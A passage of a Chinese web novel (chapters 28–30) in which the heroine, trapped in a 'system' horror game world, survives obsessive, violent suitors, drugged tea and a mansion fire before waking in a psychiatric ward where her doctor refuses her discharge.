她还没反应过来是怎么回事,眼前突然出现一双皂靴,她缓缓抬起头,是褚师怀那张疯狂又平静的脸。 他俯下身子,用手擦了擦她脸上的血和泥,语气平静得有点渗人, “你宁愿受千刀万剐,啃食殆尽之痛都要回去找他吗?” 只这一句话季白就明白,她遭遇的一切全是他故意为之! 褚师怀的目光缓缓下移落在那只空荡荡的脚腕上,眼中又添了一抹癫狂的疯。 天知道,他刚醒来不见她只见满床的血时,有多么崩溃。 他以为他又一次失败了,以为她又被人夺回去了。 可当他追上来时,明白了一切。 这一次没有人阻拦他们,是她自己要走。 为什么? 到底是为什么,她都伤成那样了,她还是义无反顾的要走。 季白狠狠攥着拳,指尖都扣进了土里,可惜她现在没有武器,不然她一定要让他尝尝她刚刚受过的痛。 褚师怀盯着她看了很久,眼里的疯狂仿佛要掀起惊天的巨浪,可他的行为却很平静。 他平静地抽出腰间的剑,季白闭了闭眼,以为他要动手杀她,下一秒,手中却多了一个冰凉的东西,她睁眼一瞧,褚师怀竟把剑递到了她的手上。 “想回去找他?可以,杀了我,从我的尸体上踏过去。” 褚师怀说着扶着她缓缓站了起来,他一只手搂着她的腰,让她靠着自己,一只手抓住她握剑的手向后带,直至剑锋抵在了他的后背。 如果忽略季白手中的那柄长剑,他们的姿势就像是历经坎坷终于在一起,相互依偎的情人。 季白握紧了剑,垂着眼眸半天没有动。 褚师怀的眼中有一闪而过的喜悦,他亲吻着她受伤的脸颊,低声问:“舍不得吗?” 下一秒,剑当背穿过,褚师怀脸上的笑凝在了脸上,他低下头看她,明明被剑刺穿了身体,他还在笑着,“小白下手可真狠啊。” 她怎么可能舍不得,她只恨一剑不能解她之恨。 褚师怀神色一变,双臂紧紧搂住她不放,眼神重新变得疯魔又癫狂,身体故意往后一倒。 所有一切都成了慢放的动作,季白根本没有反应过来,就感觉胸口一痛,整颗心脏仿佛都被剑扎穿了。 她听见褚师怀的声音伴随着风声在她耳边响起,似是阴魂不散,生生世世都要纠缠她的恶灵, “小白,你上当了。” “我怎么可能会放你去找别人。” “就算是死,我们也要死在一起。” “这儿就是你我的葬身之地,风景很美的,你一定会喜欢。” 季白用尽最后的力气低头看去,她的身体和褚师怀的身体被一柄长剑紧密地连接在一起,像是烧烤串上的两块肉。 她缓缓闭上眼,全身的疼痛随着意识一起消散在无边的黑暗中。 【作者有话说】 这本书终于上架啦~谢谢各位读者宝宝的喜欢和支持,上架后会日更,顺便再推一下我下本的新书,是一本校园文《驯服高傲的他》是阴湿女主逼疯高岭之花的故事~ 第28章 (二合一) 一缕晨光透过窗落在季白的脸上,沉睡中的她似是感受到了温暖的召唤,浓长乌黑的眼睫微微颤了颤,随后缓缓睁开了眼。 季白望着眼前的一切,眼中闪过一缕迷茫,抬手摸上了自己隐隐作痛的胸口。 她不是死了吗? 系统适时在她脑海中发出声音。 【还记得你刚接任务时,获得的新手礼包吗?】 季白想起来了,这个新手礼包还是她死缠烂打要过来的。 【新手礼包能帮宿主死而复生,重塑肉身。】 季白听到这儿低头一看本该被剑捅了个对穿的胸口光洁如新,甚至连丝刮痕也没有,被砍去的脚也恢复原样了。 不知是不是季白的错觉,她总感觉这具新身体比原来的还要白,还要嫩,简直像是初生婴儿一般。 季白摸着自己的脸颊都有点爱不释手了。 这技术要是能带回现代就好了。 系统看她丝毫不着急的样子,忍不住出声提醒。 【距离任务结束已不足六小时,请宿主抓紧时间。】 季白不问自己在哪,也不着急起来,而是先问。 【褚师怀呢,他死了吗?】 提起他的名字,季白的脑海中就自动浮现出那双疯狂的眼睛。 明明他现在并不在自己身边,她却还有一种被这双眼睛一直注视着的感觉。 让她辗转反侧,心慌意乱。 如果他的目的是让她永远记住他,那么他做到了。 平生第一次体会到极致的痛与恐惧全都来源于他。 【他……】系统顿了顿,【不会在这个副本出现了。】 【他死了?】季白哈哈笑了两声,【太好了,他死了,我就可以安心地做任务了。】 季白说着拢了拢衣裳翻身下了床,准备先去湖里打捞闻人瑾的长寿花。 【对了,我现在在哪?】 【闻人府。】 季白闻言四处看了看,这间屋子虽然与她之前和闻人瑾住的卧房不太相同,但还是有几分相似之处的。 【你送我回来的?】 季白心中对系统多了几分好感,看来她的系统也不全是废物。 能帮她复活,还能送她回来。 【不是。】 系统话音刚落,紧闭的木门就被人从外推开了。 季白抬头一看,来者是许久不见的羽生,他拎着一壶茶,穿着一件灰色的长袍,却丝毫掩盖不住他的清秀白净,一双水润的眼睛直勾勾地望着季白。 季白只觉背后一凉,恨不能转身就跑,但已经有了两次经验的季白知道,如果她跑,反而会激怒他们。 季白回想起变成怪物的褚师怀身上似乎有多道刀劈剑砍的伤口,那些伤或许是羽生留下的。 季白越想越觉得有可能,她之前躲在祠堂时羽生和褚师怀就打起来了。 褚师怀不敌羽生,受伤后无法维持人类的表象就变成了怪物。 那要是这么算,羽生可比褚师怀厉害多了。 季白又看了眼羽生,羽生察觉到她的视线,弯眸冲她笑了一下,笑得干净又清爽,像是刚刚被大雨冲洗过的树林,就连空气中都散发着清新的味道。 但季白没有忘记,他在她看不见时,脸上的冰冷与漠然,像是一个毫无感情的杀神。 “是你带我回来的?”季白问。 羽生笑着点头,“是我。” 季白又瞅了瞅他,他看起来好像很平静,没有闻人瑾的执念,也没有褚师怀的疯狂,就像是在平静的一天照常叫醒你,下一秒就要喊你去吃饭了一样的日常。 但季白也没敢掉以轻心,她还记得褚师怀也是平静地把剑递到她手上,然后杀了她的画面。 现在的平静或许只是暴风雨来临前的宁静。 季白舔了舔干涸的唇,一时间没有说话,而是在心里问系统。 【如果我又死了,还能复活吗?】 系统:…… 【你以为是无限回档的游戏?】 【新手礼包只能用一次。】 季白心中虽然隐隐有一种系统不会真让她死了的感觉,但也不敢再尝试一次。 毕竟临死前的疼痛和意识消散时的恐惧都是切切实实存在的。 季白垂眸同系统聊了几句,没注意到羽生已经弯腰放下了手中的茶壶,自顾自地倒了杯茶。 “谢谢你啊。”季白干巴巴地同羽生道了句谢,然后试探性地同羽生说,“我睡了一晚上想去湖边转转。” 羽生回眸看她,脸上的笑依旧柔情似水。 “夫人想去,去就是了。” 季白闻言松了口气,看来羽生还是好说话的。 “那我走了。”她抬脚就走,生怕慢了一步羽生就反悔。 “等等。” 季白顿住了脚步,暗骂一声,她就知道没那么容易。 季白秉承着不能激怒羽生的原则,笑眯眯地问:“还有什么事吗?” 羽生捧着一杯茶走上前,柔弱无骨的手抚上季白的脸庞,指腹轻柔地摩挲着季白略有些干涸的唇。 “夫人的嘴巴都干了,不如喝盏茶再走。” 季白心肝一颤,低眸看了眼羽生手里的茶,茶汤澄黄,清澈明亮,向上升腾的白烟带来淡雅的香气,是一盏好茶。 季白却不敢喝,她总觉得这茶里八成是有毒。 羽生见季白半天不动,莹润的眸子聚起一层水雾,“夫人现在连我递的茶都不愿意喝了吗?” 季白生怕羽生发疯,她可再经受不住第二次折腾,连忙解释道:“我……我不爱喝菊花茶。” “不爱喝菊花茶?”羽生歪了歪头,退后一步把茶杯放在桌上,“可夫人从前最喜欢的就是菊花茶啊。” 羽生说着这话,眼睛始终锁定着她,像是一条眼镜蛇盯着自己的猎物,只要她一个字回答不对,就会一口咬上来毒死她。 艳阳的天气,季白平白冒了一身冷汗,她看着落在羽生脚边的阳光,灵光一闪,答道:“大夏天的,谁要喝这么热的茶啊。” 羽生脸上的笑容明明没什么变化,但季白就是觉得像是一条毒蛇收起了自己的獠牙。 “是我考虑不周。”羽生说,“我这就去给夫人换一杯。” 他说着起身往门外去,在经过季白时,忽而又停下了脚步,侧头看她,“夫人很热吗,怎么出了这么多汗?” 季白哈哈一笑,用手做扇在脸边扇着,“夏天嘛,当然热了。” “我这个人就是比较怕热,一热就会出汗。” 羽生没有说话,目光从她的脸下移到她的身体,低垂着眼眸细细打量着,不知是想到了什么,脖颈上的喉结滚了滚,而后低声道:“夫人可以少穿一点。” 他说完这句话很快抬起头又是一副清爽纯洁的模样,“夫人可不要乱跑,喝了我的茶再出门也不迟。” 话落,他抬脚走出了房间,离开时连门也没关。 季白这下是十分确定那茶铁定有问题,不然羽生为什么非要让她喝? 恐怕她喝了那茶就走不了了。 季白看着那扇大开的门,一时间陷入了纠结,这门就像是一个明知是陷阱的诱饵。 羽生就等着她跑出去,然后像是守株待兔的猎人一样抓住她,但若是不跑,她就要喝羽生有毒的茶,也是死。 季白急得在房间里转了好几个圈,也没有下定决心。 最终她停下脚步,再一次看向那扇大开的门,门外是鲜嫩翠绿的枝叶,洁白的蔷薇在阳光下尽情舒展着花瓣。 季白看着看着,就决定还是搏一把。 与其待在这里等着时间耗尽而死,或是被毒死,不如冲出去试一试。 季白说干就干,想也不想就往外冲,照她的观察,这间小庭院应当离湖不远。 可她刚跑出去没几步,满墙的蔷薇花似是活了,带刺的花枝肆意蔓延生长,精准地勾缠住了季白的脚腕,季白被这么一拽,重心失去平衡,整个人都摔在了地上,疼得她倒吸了一口凉气。 但身上的疼,远不如脚腕上的伤来的厉害。 她回头一看,藤蔓上的花刺扎入她的肉里,渗出的血珠染红了她刚换的衣衫。 花枝在风中颤了颤,似乎是在威胁她不要走。 季白忍不住在心里质问系统。 【不是说只有晚上才有怪物吗,这破花是怎么回事?】 【这花不是怪物。】 【是被男主控制了。】 系统话音刚落,缠绕在季白脚腕上的花枝就放开了她的脚腕,沙沙沙地退了回去,又变成了漂亮普通的蔷薇花,紧接着就连她脚腕上被花枝刺伤的伤口都不疼了。 季白惊讶地撩开裤腿一看,伤口竟然全好了。 “我不是说过让夫人不要乱跑,等着我吗?” 清爽的声音从前方传来,季白回头一瞧,只见羽生捧着茶壶站在廊下望着她。 他的身后是满墙的白色蔷薇,衬得他的脸柔软可怜。 季白攥了攥指尖,连忙爬了起来。 所以羽生的能力是控制植物和治愈? 如果能穿越回第一天,季白定是要重重打自己一巴掌,这世界哪里像是普通的古代社会了。 从主角到世界就没有一个正常的。 羽生单手托着紫檀木的托盘走到季白的面前,抬手帮她挑拣头发上残留的花枝。 “夫人为什么从来不肯听我的话呢?” 羽生的声音低低的,清爽开朗的男声添了一丝失控的诡谲。 “我就是在房间里待得无聊,想出来透透气……” 季白的声音越说越小,因为她对上了羽生冰冷的眼神,他从来没有用这样的眼神看过她,像是高高在上的神明在看一只死物。 但这个眼神很快又消散不见,变成了平时的羽生,让季白有点拿捏不准羽生现在的心理。 “透气?”羽生笑,“所以夫人和褚师怀驾车跑到骊山也是透气吗?” 季白听了这话心尖一颤,抬眸看了他一眼,他的脸上是纯澈的笑意,莹润的眼眸里好似只有对这件事的好奇。 季白恍惚记起,她好像从来没有见过羽生对她生气失控的画面,就像是再凶猛的小狗也不会对自己的主人呲牙。 但她现在有点不确定,他是不是还和之前一样。 季白:“我也不愿去,是他强逼我去。” 羽生听了没有说话,也不知是信还是不信。 “外面太阳大,夫人还是同我进去吧。”羽生讨好一笑,“我专门换了清爽的凉茶,请夫人品尝。” 季白往后退了一步,说:“我……我现在不渴。” “不渴?”羽生步步紧逼,“那夫人能否陪陪我?我好几天都没有见到夫人了,羽生真的好想夫人。” 他依旧和身后的白色蔷薇一样美丽柔弱,可季白却体会到了被花枝刺入血肉的疼,面对疼痛,季白本能地往后退了一步,羽生突然伸手抓住了她的手腕。 “夫人难道连一点点的时间都不愿分给我吗?” 季白感受到他的情绪可能是到了临界点,所以压根就不敢多说一句话,生怕又刺激到他。 她可不想再见识第二个褚师怀了。 羽生抓着她的手贴在自己的脸颊边如小猫小狗般轻轻蹭着,“夫人明明答应羽生不会丢下我,还说要和羽生一起离开这儿。” “可夫人食言了。” “夫人还是要走的对不对?” “无论从前还是现在,我在夫人眼中从来什么也不是。” “我明知道夫人对我说三天后跟我一起走的话是骗我的,可我还是很开心,很开心。” 羽生抬起眼睛看她,晶亮纯澈的眼神像极了一只忠心的小狗。 “夫人肯骗我,肯对我用心思就说明还是在意我的,对不对?” 季白看着他的眼睛,一时间竟然不忍心说谎骗他。 她明知他只是一个披着人皮的怪物,却还是对他产生了怜惜。 “夫人为什么不说话?”他的眼睛蕴起水雾,眼尾通红,“哪怕是骗我的话,我也愿意听,愿意信。” “夫人,骗骗我好不好?” “求求你,骗骗我。” “我想听夫人说在意我,喜欢我,愿意和我一起走。” “夫人,说给我听,好不好。” 季白有些口干舌燥,她艰难地移开视线,说:“羽生,你别这样。” 羽生一愣,强忍着眼睛里的泪没有掉下来,他低下头轻声说:“没关系,夫人不想说就不说。” 羽生退后一步把手中的茶盘放在廊下的长椅上,季白望着那盏被他放下的茶,心想,他是想开了,不打算让她喝茶了? 季白想到这儿,觉得羽生和褚师怀他们还是不一样。 如果她好好说,说不定他会愿意主动放她离开。 “羽生,你既然明知是假,又何必强求呢?” “你生得好看,又有能力,只要……” 季白的话还没说完,就被羽生打断了。 “夫人总是这样,明明对我无情,却又要对我好。” 他突然低低笑了一声。 “这是夫人训狗的方式吗?” 季白一脸迷茫,这和训狗有什么关系? 羽生突然扑了上来,季白一时没有防备被他按倒在游廊的长椅上,他的手及时垫在她的身下,因而她并没有感觉到疼,只是突如其来的靠近让她有一点点不适。 他的身上有一股好闻的清淡花香,季白被他抱着,就好似是落入了花丛中。 “可我已经是夫人听话的狗了啊。” “夫人为何还要这样对我,对待听话的狗,夫人不应该给点奖励吗?” 季白看着压在她身上的羽生,顿时恨不得抽自己一嘴巴,她刚刚就不该嘴贱多说话。 她还想着羽生看起来还算正常,结果也半点不正常。 季白硬生生压下了这句‘你瞎说什么呢‘换成了“你想要什么奖励?” 季白说话时呼出的热气悉数落在羽生的脸庞上,染红了他白皙的脸颊,让他看起来像是一颗熟透的水蜜桃,只要咬上一口就会有香甜可口的汁液爆满整个口腔。 季白看着他渐渐靠近的唇,觉得自己更渴了。 “夫人不是最知道我想听什么吗?” 羽生粉嫩的唇一张一合吸引着季白的所有注意力,让她压根注意不到羽生说了什么。 她以为羽生是让她吻他,正闭上眼要去吻时,大脑突然在这时反应过来。 等等,听…… 她停下动作,张开眼睛看着羽生,“你不是让我吻你?” 羽生笑得勾魂,简直让人移不开眼。 “如果夫人想亲我,自然也是可以的。” 季白闹了个大红脸,感觉自己像个色鬼一样。 “你想听我说什么?” 羽生又把刚刚的话重复了一遍。 季白想起羽生不久前的哀求,试探性地说:“我在意你,喜欢你,愿意和你一起走?” 羽生呼吸一滞,整个人贴在了季白的身上。 “夫人再说的肯定一点好不好,我要那种唯我不可的坚定。” 季白照着样子又说了一遍。 她在说话时,清楚得感受到了羽生剧烈起伏的胸膛和那颗砰砰直跳的心脏。 她其实有点不理解,羽生为什么这么执着于听这些明知是假的话。 “真好听。”羽生把头埋在她的脖颈低声说着,“如果是真的就好了。” 温热的吐息弄得她的脖颈痒痒的,他柔软的唇也似是故意一般时不时扫过她的肌肤,却从不停留,让她想起刚刚那个没有完成的吻。 这一刻,她完全忘记了自己的任务,沉浸在羽生的柔情蜜意中。 羽生的容颜或许不是三人中最出色,最显眼的,但绝对是最会钓的那一个。 直至羽生的下一句话把季白胡思乱想的思绪又拉了回来。 “怎么办?我好想把这一切都变成真的,让夫人一直一直陪在我身边。” 季白恍然惊醒,想要动弹却已被羽生抱得严严实实,无处逃脱,像是中了蛇毒陷入幻觉的旅人猛然惊醒时发现自己已经掉入了蛇窝。 “都怪夫人这么听话,这么轻易就满足羽生的愿望。”羽生抬起头看着她,“夫人难道不知道吗?小狗是不知道饱的,只要尝到一点点甜头,就会想要更多。” 季白:…… 她听话还成错了。 她不听话被杀,听话还要被杀。 这个该死的游戏到底有没有正确的攻略方式啊。 羽生话音一转,语气都无端变得阴冷起来,“就像是吃过人的野兽,尝过无上滋味的它,从此往后的日日夜夜都会想着这一口。” 季白抬手扇了羽生一巴掌,羽生的眼神瞬间变得清澈起来,语气也不阴冷了。 “夫人打我做什么?” 季白冷冷说:“你不说我太听话吗?” 季白暗想,羽生喜欢的点可能和别人不一样。 “要不要我再打你一巴掌?”季白问。 羽生垂下眼帘摸了摸红肿的脸颊,随后又扬眸讨好地凑了上来,“好啊。” 季白见状还要伸手再打,却被羽生抓住了手腕,吻了吻她的掌心,而后主动把脸贴上去蹭了蹭,“可是真的好痛,夫人怜惜怜惜我,不要再打了。” 季白捏了下他的脸颊,“是你刚刚让我打的。” 系统这时冷不丁地在季白脑海中报时。 【提醒宿主,距离任务结束还剩五个小时,请宿主抓紧时间。】 季白满不在意地说。 【他不让我走,我有什么办法?】 【万一我强行离开,他又发起疯,我不还是要死?】 【呵呵,是他不让你走,还是*你自己不想走?】 【这都什么时候了,你竟然还沉迷在他的美色中,你真不要命了?】 季白正要说话,却突然感觉手指一痛,低头一看是羽生咬住了她的手指。 “夫人刚刚在想什么?” “我想去湖边转转。” “湖边啊。”羽生缓缓说,“是了,夫人从一开始就说要去湖边。” 羽生说着从季白身上起来,顺手拿起他刚刚放在一边的茶递给季白。 “夫人喝了茶就去吧。” 季白的目光重新落在眼前的这碗茶上,这茶汤的颜色和刚刚的茶并无区别,唯一的区别就是它是凉的。 看来这茶今天是非喝不可了。 季白问:“是不是我喝了茶,你就放我离开?” 羽生垂下眼帘望着茶盏里的茶汤,答非所问:“夫人喝下这碗茶,就能永远和我在一起,再也不能丢下我了。” 季白想了想接过茶盏,一口饮下。 唔,味道还算不错。 羽生定定望着她,轻声问:“好喝吗?” 29 第29章 季白放下茶盏,扬眸笑道:“味道还不错。” 系统在她脑海中大叫。 【你疯了?】 【明知这茶有问题你还喝?!】 “我现在总可以去湖边走走了吧?” “当然。”羽生笑着说。 然而下一秒,药效毫不意外的开始发作,刚刚站起的季白只觉头晕目眩,绵软无力,又重重跌了回去,眼皮越来越沉,意识不可逆得被拉拽着没入深海。 在季白失去意识前的最后几秒,她用尽全力抬眸看了一眼羽生。 他半蹲在自己的面前,像是初见时那般凝望着她,眼底是她看不懂的复杂情绪。 湿漉漉的掌心握住她的指尖,心不可抑制得为她而澎湃,在这最后一刻,他还是很想很想问问她。 是不是你也为我心动,所以心甘情愿喝了那盏有问题的茶? 羽生看着季白阖上双眼,俯身吻上了她的眼睛,低声说:“夫人,记住我的名字,朝玉盛,不是羽生。” 羽生羽生,是像羽毛一样卑微,苦苦求生的人。 可他本应是备受宠爱,熠熠生辉的朝玉盛。 等季白再次从昏睡中清醒过来时,像是睡了一个格外安稳的觉,只觉神清气爽,仿佛连灵魂都轻盈了几分。 冰冷的电子音再次在她的耳边响起。 【距离任务结束还剩一小时。】 季白想起了自己的正事,连忙坐了起来。 她正准备赶去湖边捞花,却意外发现摆在自己身边的长寿花。 她不可置信地把这盆花抱了起来,是巧合吗? 羽生知道自己想要长寿花,所以去找了一个一样的给她? 可她细细端详了一番,发现花枝上还留有一道断裂的痕迹,是她和褚师怀争夺时留下的。 这就是她要找的长寿花! 【这是羽生留下的?】 系统没有回答她,但她想应该就是了。 她还以为羽生递的茶里有要她命的毒药…… 她当时想着左右任务是完不成了,与其沦为怪物的口粮,不如喝羽生的毒药,至少还能死得痛快,可没想到那茶并没有毒死她。 季白抱着怀里的花,想到她昏迷前看羽生的那一眼,想到他在她耳边说他叫朝玉盛。 她的心不受控的泛起波澜,其余两人都想留下她,杀死她,可他却放过了她,还帮了她。 【羽生去哪了?】 回答季白的是一串冰凉的倒计时。 【距离任务结束只剩五十八分钟。】 看来系统是不会回答她的问题了,季白想了想从房间里找来了纸笔,给羽生留下了一句话。 她慎而重之地把它放在了她刚刚躺过的地方,因害怕被风吹走,又找了一个玉石摆件把它压在了下面,做完一切的季白方抱着花出了门。 红日西移,晶莹剔透的白玉雕上出现了一双比玉还要白的手,手的主人移开玉石拿走压在下面的字条,上面用毛笔歪歪斜斜地写着几个字。 【玉盛,真好听的名字,愿你往后永远是如玉之莹,如松之盛的朝玉盛,不做羽生。】 季白抱着长寿花匆匆往祠堂赶,脑海中是系统不间断的倒计时提醒。 由于她刚刚给羽生写字条花费了不少时间,现在只剩下不到半小时了。 眼看数字三变成了二,季白急得从快步走变成小跑。 一路上,她跑得气喘吁吁,脑海中还不住地在想闻人瑾还在祠堂,他不会在最后关头为难她吧? 不过他答应她,只要她能找到正确的道具,他就会放他走。 闻人瑾虽然疯了点,但人品还算不错,不至于做出那种说话不算话的事吧? 季白一面想,一面跑,终于在最后十分钟前赶到了祠堂,她正要推门进去,只听身后传来一声巨响,她回头一看,整座闻人府都陷入了一片火海中,无数隐藏在阴影的怪物在火光下无所遁形,它们迫切得想要四散逃离却又被无形的屏障挡了回去。 怪物的嘶吼中混杂着人的尖叫,雕梁画栋,郁郁葱葱的宅院顷刻间化为了人间地狱,热浪翻涌着逼到她的脸上,她苍白着脸不可置信地看着眼前发生的一切。 【这……这是怎么回事?】 刚刚还好好的园林怎么突然间变成这样了? 她抱着花往回走了一步。 【羽生呢,他也在……火海里吗?】 她脑海中冰冷无情的倒计时戛然而止。 【火是羽生放的。】 【为什么,他为什么要毁了这里?】 【你是在关心他们?】 【呵,你也知道的吧,他们那些看起来正常的人,其实压根就不能称之为人。】 【无论是羽生还是这里的其他人都与你是不同世界的生物,你没有必要在意他们中的任何人。】 【你再不走,你最后的结果就是和这个世界一起毁灭。】 季白听了系统的话,收回了踏出去的脚,最后看了眼沦为炼狱的闻人府,抱着花头也不回的走了,可她的脸上并没有一丝一毫即将通关的愉悦。 她想,如果这个世界真的是游戏世界,那么她就是唯一的玩家,失去玩家的游戏,最终的结局只有沦为一片废墟。 冰冷的倒计时再一次在她的脑海中响起。 【5:34】 【5:33】 【5:32】 当她赶到指定的地点时,时间只剩最后的五分钟。 这里的一切都还保持着她离开时的模样,外面的火海滔天好像对这里没有丝毫的影响。 她气喘吁吁地把闻人瑾的长寿花放在了地上,又依次找来了羽生的戒指,褚师怀的弓。 她正要把手中的东西放下时,突感背后一凉,她回头一看就发现站在阴影中的闻人瑾,白衣胜雪,俊美无俦。 眼睛被白绸覆着,但也仍然遮不住他黏腻的目光,那种眼神似是从她的四面八方看了过来,让她无处遁形。 季白不敢轻举妄动,距离离开只剩最后一步,但再没有成功之前,她的每一个细微的动作可能都会激怒他,从而导致任务的失败。 季白抿了抿唇,低声说:“我找到对你来说最重要的东西了。” “是我送你的长寿花对不对?” 闻人瑾微微侧了侧头,往她的脚边看了一眼,鼻尖动了动,随后遗憾地说:“可惜现在不是它的花季,闻不到花开的气味。” 他说着,缓步走到她面前,低头看她,“你应该闻一闻的。” 季白现在已经没有时间和他讨论花香不香了,直截了当地说:“我离开前,你说只要我能找到你最重要的东西,你就放我离开。” “这话还算数吗?” 季白问话时,握紧了手中断裂的弓,紧张地盯着他的脸,等待着他的回答。 时间一分一秒的过去,久到季白以为他不会放过她时,他突然退后了一步,低头说:“当然算数。” 季白松了口气,她只剩下最后一分钟了。 季白如愿把最后一样道具放在了地面上,下一秒,脑海中的倒计时停了下来,紧接着是冰冷的电子音为她播报。 【恭喜宿主成功通关副本不见天。】 【奖励正在派发中。】 随着系统最后一个字的落下,季白只觉眼前一黑,她的灵魂被一股神秘的力量强行拉扯了出来,带入了一片虚无的黑暗。 闻人瑾上前一步接住了季白倒下的身体,他静静感受着怀里的身体从一开始的温热变得冰冷无比,从柔软变得僵硬,掌心下的心脏停止了跳动。 她又一次死在了自己的怀里。 闻人瑾低下头把脸贴在了她早已变得冰冷的脸上,眷恋的,依依不舍的轻蹭着,不知道他还能不能等到她的下一次出现。 冲天的火光终于蔓延到了祠堂,木梁坍塌,飞灰四溅,在明亮的火舌快要席卷到闻人瑾的衣角时,一口木棺突然从天而降,牢牢的将闻人瑾和季白罩在了里面,火焰在木棺上飞舞,却始终不能点燃它。 季白的眼前浮现出一幕又一幕的画面,她看见一个小女孩初来闻人府时的忐忑,看见女孩与褚师怀,闻人瑾一起长大,他们一起上学,一起玩耍。 褚师怀性格开朗常常逗得女孩开怀不已,闻人瑾总是安静地坐在一旁沉默地听着。 她看见两人两情相悦,将要订婚,却因闻人瑾的一句话而被迫分手嫁于闻人瑾。 婚后的她过得并不开心,她在无意间救下了遭遇坎坷的可怜少年,收留在自己身边做了仆从。 褚师怀要带她离开,可最终却在逃离的路上死于刀斧之手,被剁成了肉泥,她悲痛之下上吊而亡。 故事的最后,闻人瑾抱着她的尸首一同赴死,忠仆为替她报仇屠尽闻人家满门又烧了一把大火。 季白蓦然惊醒,幻境中的记忆同现实中的大火逐渐重叠在了一起。 她捂着心脏大口大口地喘息,一股不可自抑的悲伤将她包裹,可她却忘了自己为什么而悲伤。 她在虚无中看到的那些不成片的画面碎片到底是什么? 那是谁的记忆? 季白竭尽全力地想要想起来,可却什么也不记得了。 入目是洁白的墙壁冰冷的白炽灯,是她在现代的病房。 “21号患者季白,该吃药了。” 30 第30章 季白抬起头对上小护士面无表情的脸,一时间还有几分不真切的恍惚,直至手中的塑料杯传来熟悉的温度与质感,季白才切切实实地体会到她终于回来了。 她平静地吃了药,而后将杯中水一饮而尽。 同时,她按照记忆中的方式呼唤脑海中的系统,然而她的脑海中再没有任何声响,好似之前所经历的一切都是一场梦。 她还在出神中,小护士突然出声提醒,“今天是你申请出院的日子,陶医生已经在办公室等着你了。” 季白想起来了,在她被莫名其妙的系统拉入诡异世界前,她曾第十三次对她的主治医生提出出院的申请,前面的十二次都被她的医生无情的拒绝了,说以她目前的精神状态不适合重新回归正常社会。 这一次,她最近的表现都相当平静且正常,应该可以通过主治医生的评估。 季白轻车熟路地往医生办公室走去,经过活动室时,里面正放映着轻松愉悦的喜剧节目,逗得下面的患者哈哈大笑。 季白侧眸看了眼电视屏幕,画面中是一个男人身穿喜服的滑稽场面,然而他的背后却是古色古香的宅院,她的脚步顿时钉在了原地,背后冒出了一身冷汗。 是他们害她! 他们想再次逼疯她,从而把她永远困在这儿。 不然,她为何会偏偏在申请出院时遇见那些诡异的事? 季白握紧了拳头,竭力控制自己的情绪,这一次绝对不能让他们如愿,她一定会从这儿出去,夺回她应有的一切。 季白再次恢复了平静,神色如常地推开了办公室的门,入目是一张米白色的办公桌,桌面上摆放着医生的名牌,上面写着陶嘉荣三个字。 名片旁边是一台电脑和一盆绿植,房间干净整洁,还飘散着一股不同于外间的清香。 陶医生听见声响扶了扶鼻梁上的金丝边眼镜,镜片后是一双淡漠的漂亮眼睛,他唇边漾开了一抹笑,可还是给人以一种不易亲近的疏离感。 “坐。” 陶医生照常问了她几个情绪上的问题,她都正常地一一对答。 “你最近恢复得不错。” 季白心中一喜,心想这一次她总算可以出院了。 等她出院后,她绝对不会放过那些强制送她进来,又霸占了她财产的人。 直至陶医生又问了一个问题。 “最近睡眠怎么样,有没有做什么奇怪的梦?” 季白瞬时就想到了她在诡异世界过任务的那七天,但她很快又摇头说没有。 这一抹细微的变化并没有逃过陶医生的眼睛,骨结修长的手指轻轻敲了下桌面,但脸上的笑意却不减分毫。 “出去以后打算做什么?” “我想出去走一走,看一看祖国的大好风景再吃点好吃的美食。” 陶医生笑着问:“不囔囔着要找你的家人报仇了?” 季白正色道:“我已经想明白了,冤冤相报何时了,我不打算再和他们纠缠了,我出院后绝对不会去报复他们。” 陶医生笑了下,低头在本子上记了几笔,季白不知道他写了什么,但应该是申请通过的意思。 季白压抑着心中的喜悦,一抬眸恰好看见了书架上一本关于脑机接口的书,她心神一动,顺口问了句:“我住院的这几年脑机接口的技术是不是发展得很快?” “嗯,很快。” 季白只觉自己的心在砰砰直跳,她想她可能找到系统的关键了。 “那是不是已经发展到可以任意在患者的大脑中植入一段不存在的记忆或场景,还能通过电脑与患者的大脑意识对话?” 陶嘉荣写字的手一顿,抬起那张清俊矜贵的面庞,如霜雪般的黑眸定定瞧着她,“为什么这么问,是你意识到自己的脑海中多了一段不存在的记忆?” 季白连连摆手,笑着说:“不是不是,我就是看见陶医生的书架上有本脑机接口的书,就好奇一问。” 季白暗恨自己的多嘴和得意忘形,脑机接口的事等她出去后自然有大把时间可以了解,干嘛非要在这种时候问。 陶嘉荣勾唇笑了一下,不置一词。 季白忐忑地问:“陶医生,我这次是不是可以出去了?” 陶嘉荣写完最后一个字,把笔收了起来,坐着椅子往后退滑了半步,而后摇头道:“抱歉,经过评估,以你现在的精神状态不能回归正常的人类社会。” 季白一愣,随后不可置信地拍案而起,怒道:“为什么?我哪里做的不对,我已经彻底好了,你凭什么不让我出去?” “我知道了,你一定是和他们一伙的!” “他们到底给你多少钱,不管多少钱我都出双倍!只要你肯放我出去!” 对于季白突然的暴怒,陶嘉荣已经见怪不怪了。 “首先,贿赂医生是违法行为,其次,你很聪明,掩饰得也很好,甚至比正常人还要机敏,但……” 陶嘉荣推了推鼻梁上的眼镜,语气平静地说:“你从来都没有什么所谓的家人。” 季白一怔,随后抓起桌面上的绿植就朝陶嘉荣扔了过去,陶嘉荣侧身一闪,那盆绿植就摔到了地上,没碎也没发出什么巨大的声响。 它是用特殊材质制成的仿真植物,很软很轻,随便砸随便摔也不会伤到人。 静谧的办公室里是季白愤怒地嘶吼:“我知道了,你就是他们的人!该死的,怪不得一直不准我出院!你到底拿了他们多少钱?” 陶嘉荣无奈地叹了口气,按了一下桌上的按钮,立即就有医护人员冲进来制住了季白,随后轻车熟路地在她的胳膊上打了一针镇定剂。 季白只觉身子一软,眼皮不住得打着架,陶嘉荣走到她面前,平静地说:“对了,以人类现在的科技水平,你所说的脑机技术还未实现。” “季白,你的病又重了。” 季白想要大骂他一句,说自己没病,可她已经没了力气,两眼一翻晕了过去。 等季白再次清醒时,依稀可以听见外面值守的小护士们在闲聊。 “哎呀,真是可怜呐,本来以为那姑娘全都好了,结果更严重了。” “对啊,你说多漂亮的一个小姑娘,就被这病给耽误了。” “听说她性情古怪,常年独来独往,会不会是因为太孤独了,所以才幻想出来自己有家人?” 小护士们叽叽喳喳的议论声听得季白有点烦。 她并不觉得是自己有病,也不觉得自己有错,他们那些人根本什么都不知道,不知道她曾经历过什么,她也懒得去和他们解释。 